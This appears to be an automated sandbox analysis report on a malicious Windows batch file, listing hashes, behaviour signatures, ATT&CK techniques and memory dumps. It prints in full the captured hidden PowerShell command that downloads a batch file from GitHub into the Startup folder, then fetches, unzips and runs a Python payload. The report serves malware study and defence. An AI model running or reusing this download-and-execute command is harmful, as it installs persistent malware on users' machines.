bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c

Analysis

max time kernel
119s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 03:02

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General

Target

bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat
Size

271KB
MD5

e7c99129a04e08ee965a08b79137b6a3
SHA1

7e7060bd33efe7eeb2d3b9f2b27244dcd3fe709f
SHA256

bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c
SHA512

89451efa002d7cd75c17ef4beb72d6d156695e83058e112fd85b354cf6085713b320e246264f728147e23980fbd6a512ac8518a118493bd1496971a9b3302b6f
SSDEEP

1536:R2Vb2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VM2VR:D

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://github.com/rouki555/lnk/raw/main/ud.bat

exe.dropper

https://github.com/rouki555/dcm/raw/main/Document.zip

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 2348 powershell.exe
6 2348 powershell.exe
7 2348 powershell.exe
8 2348 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2348 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafety.bat powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2348 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2348 powershell.exe

flow	pid	process
5	2348	powershell.exe
6	2348	powershell.exe
7	2348	powershell.exe
8	2348	powershell.exe

pid	process
2348	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafety.bat	powershell.exe

pid	process
2348	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2348	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2068 wrote to memory of 2348	2068	cmd.exe	powershell.exe
PID 2068 wrote to memory of 2348	2068	cmd.exe	powershell.exe
PID 2068 wrote to memory of 2348	2068	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bf9c2db653827ae40ddb78e9ea5733fbc917cc34247b0931b19ffae49fb31a6c.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/rouki555/lnk/raw/main/ud.bat', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSafety.bat');[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/rouki555/dcm/raw/main/Document.zip', 'C:\Users\Public\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\Users\Public\Document\python C:\Users\Public\Document\Lib\sim.py; del C:/Users/Public/Document.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2348-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

Filesize
4KB

Download
memory/2348-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2348-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2348-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2348-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2348-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2348-11-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2348-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2348-12-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download